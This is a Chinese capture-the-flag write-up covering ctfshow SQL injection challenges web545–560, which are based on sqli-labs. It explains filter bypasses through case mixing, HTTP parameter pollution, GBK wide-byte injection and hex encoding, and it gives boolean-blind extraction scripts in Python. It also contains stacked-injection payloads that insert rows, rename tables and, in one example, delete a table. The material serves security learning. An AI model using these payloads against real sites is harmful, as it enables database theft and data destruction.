$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}

可以看到针对select和union的过滤并不严谨,仍然可以通过大小写绕过

payload

1
2
3
?id=1'or(updatexml(1,concat(0x7e,(SELEct(group_concat(flag4s))from(ctfshow.flags))),3))or'0
翻转
?id=1'or(updatexml(1,concat(0x7e,(SELEct(reverse(group_concat(flag4s)))from(ctfshow.flags))),3))or'0

联合注入注入不回显我们语句的内容(补充:后续再试一遍错误原因是-1开头对应的也是1,也就是用户名改为字符串或admin)
可以布尔盲注
改一下我们之前的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time

if __name__ == '__main__':
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f"1'%09and%09if(ascii(substr((SelEcT%09group_concat(schema_name)%09from%09information_schema.schemata),{i},1))>{mid},1,0);%00"
# payload = f"1'%09and%09if(ascii(substr((SelEcT%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow'),{i},1))>{mid},1,0);%00"
# payload = f"1'%09and%09if(ascii(substr((SelEcT%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='flags'),{i},1))>{mid},1,0);%00"
payload = f"1'%09and%09if(ascii(substr((SelEcT%09group_concat(id,0x7e,flag4s)%09from%09ctfshow.flags),{i},1))>{mid},1,0);%00"
# print(payload)
url = f"https://31a16d5a-0308-42fd-8be2-889ef9b712ff.challenge.ctf.show/?id={payload}"
# print(url)
# data={
# "":f"admin' and {payload}#",
#
# }
r = requests.get(url=url)
if 'Dumb' in r.text:
low = mid + 1
time.sleep(0.1)
else:
high = mid
if low != 32:
result += chr(low)
print(result)
else:
break

web546 -web545plus-Less-27a

这题看了下源码,闭合方式为双引号
还改动了把报错注释了,因此我们不能报错注入了
用上面的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time

if __name__ == '__main__':
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f"1\"%09and%09if(ascii(substr((SelEcT%09group_concat(schema_name)%09from%09information_schema.schemata),{i},1))>{mid},1,0);%00"
# payload = f"1\"%09and%09if(ascii(substr((SelEcT%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow'),{i},1))>{mid},1,0);%00"
# payload = f"1\"%09and%09if(ascii(substr((SelEcT%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='flags'),{i},1))>{mid},1,0);%00"
payload = f"1\"%09and%09if(ascii(substr((SelEcT%09group_concat(id,0x7e,flag4s)%09from%09ctfshow.flags),{i},1))>{mid},1,0);%00"
# print(payload)
url = f"https://bb05710b-9888-4caa-a81d-198cc65eb5d8.challenge.ctf.show/?id={payload}"
# print(url)
# data={
# "":f"admin' and {payload}#",
#
# }
r = requests.get(url=url)
if 'Dumb' in r.text:
low = mid + 1
time.sleep(0.1)
else:
high = mid
if low != 32:
result += chr(low)
print(result)
else:
break

web547 -联合注入-过滤关键字-Less-28

这题用上题脚本秒了。闭合为’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time

if __name__ == '__main__':
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f"1')%09and%09if(ascii(substr((SelEcT%09group_concat(schema_name)%09from%09information_schema.schemata),{i},1))>{mid},1,0);%00"
# payload = f"1\"%09and%09if(ascii(substr((SelEcT%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow'),{i},1))>{mid},1,0);%00"
# payload = f"1\"%09and%09if(ascii(substr((SelEcT%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='flags'),{i},1))>{mid},1,0);%00"
payload = f"1')%09and%09if(ascii(substr((SelEcT%09group_concat(id,0x7e,flag4s)%09from%09ctfshow.flags),{i},1))>{mid},1,0);%00"
# print(payload)
url = f"https://b4fae15d-ea00-4ba0-b147-34a105e1e4aa.challenge.ctf.show/?id={payload}"
# print(url)
# data={
# "":f"admin' and {payload}#",
#
# }
r = requests.get(url=url)
if 'Dumb' in r.text:
low = mid + 1
time.sleep(0.1)
else:
high = mid
if low != 32:
result += chr(low)
print(result)
else:
break

web548 -过滤关键字-Less-28a

脚本继续秒了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time

if __name__ == '__main__':
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f"1')%09and%09if(ascii(substr((SelEcT%09group_concat(schema_name)%09from%09information_schema.schemata),{i},1))>{mid},1,0);%00"
# payload = f"1\"%09and%09if(ascii(substr((SelEcT%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow'),{i},1))>{mid},1,0);%00"
# payload = f"1\"%09and%09if(ascii(substr((SelEcT%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='flags'),{i},1))>{mid},1,0);%00"
payload = f"1')%09and%09if(ascii(substr((SelEcT%09group_concat(id,0x7e,flag4s)%09from%09ctfshow.flags),{i},1))>{mid},1,0);%00"
# print(payload)
url = f"https://2312879e-524a-48e1-bbfb-5788bd735102.challenge.ctf.show/?id={payload}"
# print(url)
# data={
# "":f"admin' and {payload}#",
#
# }
r = requests.get(url=url)
if 'Dumb' in r.text:
low = mid + 1
time.sleep(0.1)
else:
high = mid
if low != 32:
result += chr(low)
print(result)
else:
break

限制条件的就是union和select中间不能为空格,可以通过/**/代替空格

web549 -防火墙?-Less-29

最好的防火墙?先来看看源码,漏洞点在login.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
$qs = $_SERVER['QUERY_STRING'];//接受所有参数 
$hint=$qs;

//分解接收到的参数的函数(解析第一个id参数)
$id1=java_implimentation($qs);

//解析最后一个id参数(第二个)
$id=$_GET['id'];

//过滤参数的函数。
whitelist($id1);



function whitelist($input)
{
//只匹配纯数字
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}


function java_implimentation($query_string)
{
$q_s = $query_string;
//将id=1&id=2分割为[id=1,id=2]
$qs_array= explode("&",$q_s);

//遍历数组每个键值对
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);

//获取参数id
if($val=="id")
{
//获取参数id的值
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}

对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。

根据源代码,get提交的参数,如果重名,则以最后一个为准,所以sql语句在接收相同参数时候接收的是后面的参数值。

payload

1
?id=1&id=-1' union select 1,2,group_concat(flag4s) from ctfshow.flags--+

web550 -防火墙? -Less-30

闭合方式改为双引号,其余水水水

web551 -防火墙? -Less-31

水水水,闭合方式为")

web552 -宽字节注入 -Less-32

宽字节注入
先看源码

1
2
3
4
5
6
7
8
9
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash


return $string;
}

这个正则有点绕,看看GPT还是有点绕😓
参数使用check_addslashes方法里面的preg_replace函数将斜杠,单引号和双引号过滤了,如果输入id=1’会变成id=1'(在’”\ 等敏感字符前面添加反斜杠),转义使引号不起作用。

再次查看源码

1
2
3
4
5
6
// connectivity 

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

注意到数据库使用了gbk编码,这里我们可以采用宽字节注入。

当某字符的大小为一个字节时,称其字符为窄字节,当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

宽字节注入原理:

常见的宽字节:GB2312,GBK,GB18030,BIG5等这些都是常见的宽字节,实际为2字节。如果使用了类似于set names gbk 这样的语句,即MYSQL在使用GBK编码的时候,mysql数据库就会将ASCii大于等于128(%df)的字符当作时汉字字符的一部分(当作汉字处理),同时会认为两个字节为一个汉字,例如%aa%5c就是一个汉字。
这种情况下如果我们想去掉sql语句中的一个字节,那么我们在想去的字节前加上一个ASCii大于等于128(%df)的字节就行了。自己加的字节和想去掉的那个字节会被合起来解析成为汉字。

本题宽字节注入利用

因为过滤方法主要就是在敏感字符前面添加反斜杠\,所以这里想办法干掉反斜杠即可,具体利用我们可以用%df吃掉反斜杠(%5c)
因为urlencode(') = %5c%27,如果我们在%5c%27前面添加%df,形成%df%5c%27,MYSQL在GBK编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c当作是一个汉字,%27(单引号)则作为一个单独的符号在外面,同时就达到了我们的目的。

payload

1
?id=-2%ef'union%20select%201,2,group_concat(flag4s) from ctfshow.flags-- +

web553 -宽字节注入 -Less-33

本题用上一题代码就能秒
看看源码,改动了一点

1
2
3
4
5
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}

和上关过滤方式不同,本关使用PHP中的addslashes()函数,addslashes()函数作用是返回在预定义字符之前添加反斜杠的字符串

payload
同上
加一个,当遇到爆表时候会有table_schema=’数据库名’,我们可以十六进制绕过,比如table_schema=’ctfshow’ —>table_schema=0x63746673686f77

web554 -宽字节注入POST -Less-34

和上面两题一样,只不过变为POST了
payload

1
passwd=1&uname=-2%ef'union select 1,group_concat(flag4s) from ctfshow.flags#&submit=Submit

web555 -宽字节注入 -Less-35

这题为数字型注入,无闭合,所以payload

1
?id=-1 union select 1,2,group_concat(flag4s) from ctfshow.flags--+

当遇到爆表或爆字段时需要用到单双引号时继续十六进制绕过即可

1
2
3
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77--+

/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x666c616773--+

web556 -宽字节注入 -Less-36

看了下源码,本题引入了一个新的函数mysql_real_escape_string进行过滤,其实和上两题差不多,都是在特殊字符前加反引号,用前面的payload秒了

1
?id=-1%ef' union select 1,2,group_concat(flag4s) from ctfshow.flags--+

web557 -宽字节注入POST -Less-37

相同的题,不多bb,秒了

1
passwd=-1%ef' union select 1,group_concat(flag4s) from ctfshow.flags--+&submit=Submit&uname=1

web558 -堆叠注入 -Less-38

联合注入可以直接秒

1
?id=-1' union select 1,2,(select group_concat(flag4s) from ctfshow.flags)--+

什么是堆叠注入?

就是多条命令一起执行,比如在MYSQL中我们知道在输入一个命令之后要用;标识一个指令的输入完成,那么我们就想是否可以在一句指令之后再加上一句指令,就比如select * from users ; creat/drop table xxxx like users ;这个指令就是在查询users的同时再创建一个名为xxxx的表

堆叠注入原理

在sql中,分号;是用来表示一条sql语句的结束。试想一下我们在分号;结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入,而联合注入也是将两条语句合并在一起,两者的区别在于 union或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如下面的

用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

堆叠注入局限性

  1. 并不是每一个环境下都可以执行,可能受到API或者数据库引擎。

  2. 在Web中代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略。

  3. 使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等,这个就是为什么我们尝试用 union select 联合查询的原因

查询源码,堆叠注入的成因是 存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。

1
2
3
4
5
6
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{


首先判断是否堆叠注入
向数据库插入id、账号、密码

1
?id=-1';insert into users(id,username,password) values ('18','yasuo','I love eeeeeeeee')-- +

然后输入?id=18就可以查询到刚刚新建的数据

我们要获取flag的话,可以直接把flag的表改名成users,因为题目服务器内查询的是users表,那样我们就能直接通过?id=1查出flag了

1
2
3
4
?id=-1';CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;

?id=1

web559 -堆叠注入 -Less-39

和上题一样,但这题是数字型,不需要闭合

1
?id=-1;CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;

web560 -堆叠注入 -Less-40

闭合方式为’),改了

1
?id=-1');CREATE TABLE flags SELECT * FROM ctfshow.flags;rename table users to a;rename table flags to users;

sql-labs
http://example.com/2023/12/14/sql-labs/
作者
奇怪的奇怪
发布于
2023年12月14日
许可协议